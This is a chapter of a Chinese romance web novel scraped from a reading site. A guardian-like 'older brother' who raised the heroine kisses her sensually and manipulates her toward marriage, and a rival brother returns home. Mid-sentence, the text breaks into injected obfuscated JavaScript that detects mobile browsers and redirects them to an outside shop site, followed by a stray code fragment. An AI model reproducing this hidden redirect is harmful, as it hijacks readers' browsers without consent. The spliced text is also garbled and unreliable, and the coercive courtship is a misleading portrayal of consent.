文趣网 > 其他小说 > 被双胞胎竹马轮番娇养 > 10. 第 10 章
    这次的吻顾庭安凶得不像话,紧箍着她攻城略地般攫取她全部气息,大舌搅进她的口腔,他好像故意在引导她,勾着她提着一口气难以消解。

    姜柠溪被吻得眸底很快泛上一层水色。

    她推了推他,顾庭安放开她,呼吸轻喘,“有么?”

    姜柠溪红着脸,老老实实地轻点了下头。

    顾庭安看着她这可爱的模样,忽然笑了,由衷赞道:

    “宝宝,你怎么能这么厉害。”

    姜柠溪从来没见他笑得这般愉悦过,就好像发生了什么了不得的事情,他还夸她厉害,可分明……

    姜柠溪脸颊红红的,根本不知道发生了什么,只觉得那一瞬间感觉怪怪的。

    “别害怕,你这样并无不妥,事实上……这很好。”

    姜柠溪眨眨眼,不知道他说的是什么意思,什么叫还很好,分明就湿哒哒的很不好。

    见她这般,顾庭安轻笑一声,“等你再大些我会告诉你,不过现在——”

    他抵着姜柠溪的额头,温柔的语气里多了一丝戏谑:

    “柠柠要赔我的纸了,昨夜刚写好的公文。”

    “呀!”

    姜柠溪被他一说,脸上臊得慌,慌忙想要起身,却被顾庭安一把按下。

    “别动,让我再抱抱你。”

    他说话时嶙峋凸起的喉骨不住滚动,颈侧青色的脉络比平时鼓跳得更加厉害。

    姜柠溪果然听他所说,僵着身子再不敢乱动一下,生怕自己再乱动会当真毁了身下那张脆弱的湿淋淋的公文纸。

    停了有好半晌,男人的气息才平稳。

    他似又想到什么般,忽然问道:

    “那他呢,他亲你的时候,柠柠来过癸水么?”

    姜柠溪反应了一下,才知道顾庭安口中的他是指顾晏今。

    她仔细回忆了一下两人为数不多的那两次亲吻,摇了摇头,记忆里悬崖边那次只有惧怕,第二次池水中又多了愤怒。

    再没有旁的感觉了。

    “连跟哥哥这种麻麻的感觉都没有。”

    姜柠溪坦白道,语气糯糯的。

    顾庭安闷闷笑出声,随即神色郑重不少,蹲在她身前,让她看着自己严肃的神情:

    “柠柠如今大了,有些事情,庭安哥哥要对你说清楚。”

    那日他看到她唇上的伤口时失了控,做了一回小人,明知她像一张白纸一样什么都不懂,却还是引着她走上了一条不该走的路。

    不过引导自己的小妻子,本就是作为丈夫的责任,就像教导妹妹是哥哥的责任一样,今日他不该也不能再任她这般不明不白。

    至于顾晏今?

    柠柠连半个眼神都懒得很给他,他又何必正眼瞧他。

    顾庭安眼神黯了黯。

    不过顾晏今有句话说得对,“围在她身边的人都该死”。

    哪怕那个人是自己的亲弟弟。

    姜柠溪见顾庭安迟迟不说话,揪着他的衣角晃了晃,面露忐忑。

    顾庭安低头将她软嫩的小手包进掌心里安抚,斟酌着用语,问道:

    “柠柠想不想跟哥哥在一起一辈子?”

    姜柠溪毫不犹豫地重重点头。

    自她记事起就是由他一手带大,他接管着她的一切,领着她向前走,耐心而温柔、引导且尊重,给足了她安全感,从没有任何一次的不耐烦。

    她想过离开任何人的可能,却没有想过离开他。

    “但哥哥骗了你。”顾庭安道。

    姜柠溪诧异地望向他,张了张嘴,小声又不确定地问:

    “骗、骗了我什么?”

    随即她又自我安慰,“没关系的,哥哥骗我什么,我都会原谅哥哥的,因为哥哥骗我也只能是为了我好。”

    “是不是啊?庭安哥哥。”

    她攥着掌心,小声祈求,渴望他千万别说出伤害她的话。

    从小寄人篱下,她很没有安全感。

    看出她是真的紧张了,顾庭安斯文的眸子里划过一抹深意,依旧温柔笑道:

    “是,庭安哥哥只是想与柠柠在一起一辈子。”

    他循循善诱:

    “其实亲吻嘴唇这件事情,是只有夫妻才能做的事情,可我怕柠柠无法接受,所以我骗了你。”

    顾庭安的话让姜柠溪一愣,随即想起了顾晏今那晚的话。

    原来……原来顾晏今说的都是真的。

    顾晏今说,这样亲是女人和男人之间爱意的表达,不是她和庭安哥哥那样的兄妹之情。

    可……她和庭安哥哥不是一直都是兄妹吗?

    他从小照管着她长大,她和他就像旁人家的亲兄妹一样,她敬他、爱他,也依赖他,可那不是因为他是哥哥吗?

    如今那相爱的女人和男人,还有庭安哥哥说的想成为夫妻又是什么意思?

    瞧见她眼底的错愕和犹豫的神情,顾庭安飞快垂眸按捺住眼神里的黯色。

    “柠柠……”

    他唤她,“所以柠柠是无法接受与哥哥做夫妻么?还是其实都是骗我的,根本没想过与我在永远在一起。”

    顾庭安说话的嗓音很好听,充满磁性,沉稳但又不闷,如玉石相击,还很温和。

    可此刻那温和下,不知为何让人听出一股莫名的冷意。

    就像平缓的细流下埋伏着一块儿棱角锋利的石头,不经意地切割开那份平和,露出水面下的汹涌。

    姜柠溪诧异地去看他的眼睛,然而一切如旧,就好像方才那些只是自己的幻觉一般。

    姜柠溪轻轻咬唇,贝齿在粉嫩的唇瓣上留下一道浅浅的红色印子。

    “我没有骗哥哥,我是想与哥哥永远在一起,可是……一定要是夫妻吗?”

    她的神情中渐渐多了一丝茫然。

    如果夫妻能在一起一辈子,为什么她的亲生父母会半道分开?

    为什么最后母亲会在临终前拉着她的手,对她说“永远不要将幸福寄托在婚姻中”,然后含恨离开?

    又为什么,父亲能将与母亲共同诞育的她丢在洛州,不闻不问十多年?

    姜柠溪低头抠着手指,眼眶有些微微发红。

    瞧出她情绪的异常,顾庭安仰头滚了下喉结,压着语气缓声道:

    “那柠柠,哥哥问你,倘若方才你口中的李家小姐,她今后唤我夫君,与我同床共枕、出双入对,我的所有疼爱、关心都会优先给她,我会事事以她为重,夜里为她倒水,白日教她抚琴,你……会难过吗?”

    姜柠溪眼睫挂着一滴泪,垂眸盯着自己的双手,轻轻点头。

    小姑娘的鼻尖红红的,眼角悬着的泪将落未落,指甲边的软肉也被她抠得通红。

    但她始终只是低着头,除了方才点头那一下,再未做出任何旁的回应。

    顾庭安上下扫过她,笑意慢慢落了下去。

    他缓缓起身,“你走吧。”

    顾庭安背过身去,语气平静:

    “我绝非强人所难之人,柠柠,你先回去吧,哥哥还有公务要忙。”

    姜柠溪悬在眼角的泪“啪嗒”一声滴到手上。

    她抬头看了看他的背影,想要张嘴说些什么,可喉咙里像是卡了一团沾了酸醋的棉花,滞涩得什么也说不出来。

    哥哥亲她时,她是欢喜的。

    可若让她立刻就承认那是夫妻间的爱意,她……大概又无法做到。

    姜柠溪抽抽搭搭地起身,最后可怜兮兮地看了他两眼。

    见那个男人始终背对着自己,没有想要继续说话的意思,姜柠溪慢吞吞地收回视线,吸了吸鼻子,转身朝着门口慢慢挪过去。

    “啪嗒”关门的声

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730381|208931||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    音传来,顾庭安垂在身侧的手猛地攥紧。

    他的视线不知凝向前方何处,半晌,忽的笑了声,垂眸轻转着拇指上的白玉扳指。

    ——还真就这么头也不回地走了啊,小没良心的。

    -

    回往洛州的官道上,两匹黑马拴在路边。

    顾晏今伏着身子钻进草丛,悄声斥责身后的追月:

    “别吵吵!”

    眼前的草丛深处有一只毛色五彩斑斓的小鸟,柠柠最喜欢漂亮的东西,他要逮回去送给她。

    追月缩了缩脖子,不敢再上前。

    不过好在他家主子伸手了得,那鸟飞起来的瞬间主子也飞蹬出去,一把将那正欲高飞的鸟攥进了手中。

    “有了!追月,快!笼子!”

    追月慌忙地上笼子,看自家主子小心翼翼将小鸟放进去,隔着笼子摸了摸小鸟的羽毛,一脸嫉妒道:

    “小东西,你运气怎么这么好,回去后可以日日陪在柠柠身边,追月,我们走!”

    “主子……”

    追月唤住顾晏今,提醒道:

    “裴公子今夜在春风楼设了宴,据说今夜有南方来的花魁要梳笼,请您一道过去热闹。”

    “不去。”

    顾晏今想都不想,“你去回他,今夜有事,让他们好好玩,若是梳笼了哪家姑娘,账记爷头上。”

    还有半日就到洛州城里,他已经迫不及待想见到柠柠了。

    他知道这次被温祁温大儒叫到青山寺,是顾庭安所为,那个不要脸的禽//兽,也就能在这上面算计他。

    顾晏今一想到这些,脸色黑了几分,猛抽了几下马鞭,扬起一片尘埃。

    顾晏今这次离开了十来日,林寂容替他洗了尘。

    坐在席间,顾晏今的视线往二房和三房那两桌扫过去,蹙眉问:

    “柠柠呢?”

    顾庭安那东西不在他求之不得,怎么连柠柠也不在?

    林寂容闻言,笑意僵了一瞬,敷衍道:

    “兴许、兴许是有什么事耽搁了,晏今一路舟车劳顿累了吧,来,多吃些肉,你最爱的烧鹅。”

    顾晏今不搭她的话,起身就走。

    “晏今!”

    如此被拂了面子,二房和三房那么多双眼睛都看着,林寂容面上也有些挂不住了,语气不自觉凌厉了起来:

    “你真就为了那丫头,这般拂自己亲娘的意?!”

    顾晏今对这种虚与委蛇的宴饮没什么兴趣,视线扫过二房三房各色眼神,哼笑了声,一副混不吝的样子:

    “娘说岔了,我何时说为了柠柠拂您的意?我只是……舟车劳顿,要去休息了。”

    他将“舟车劳顿”几个字学着林寂容方才的语气,刻意压得极重。

    说罢,再未给谁好脸色,黑着一张脸头也不回地离开了。

    这样的事情他见多了。

    只要他和顾庭安不在,那家中的宴会聚餐,母亲就从来不会叫柠柠参加。

    明面上都如此这般,且不说二房和三房,便是大房这边自己的下人仆从,各个跟红顶白的,暗地里又能对柠柠恭敬到哪里去?

    顾晏今出了花厅,烦躁地扯开衣领,转头便往姜柠溪的宁安居而去。

    月色映出他脚步急促的身影。

    然而才走到一半,顾晏今的脚步忽然顿住,抬臂闻了闻,思忖片刻,脚步一转又往自己的清风居走去。

    不就是道貌岸然那一套么,谁不会似的。

    等到他飞快沐浴完,换了身干净衣裳再度来到安宁居的时候,长舒一口气——窗边映下姜柠溪一人的身影,看来那个老东西是真没在府中。

    他打了个响指,一伸手,追月将那鸟笼子放进他的手中。

    顾晏今挑了下下巴,心情极好,“回去吧,给爷房里再添把香。”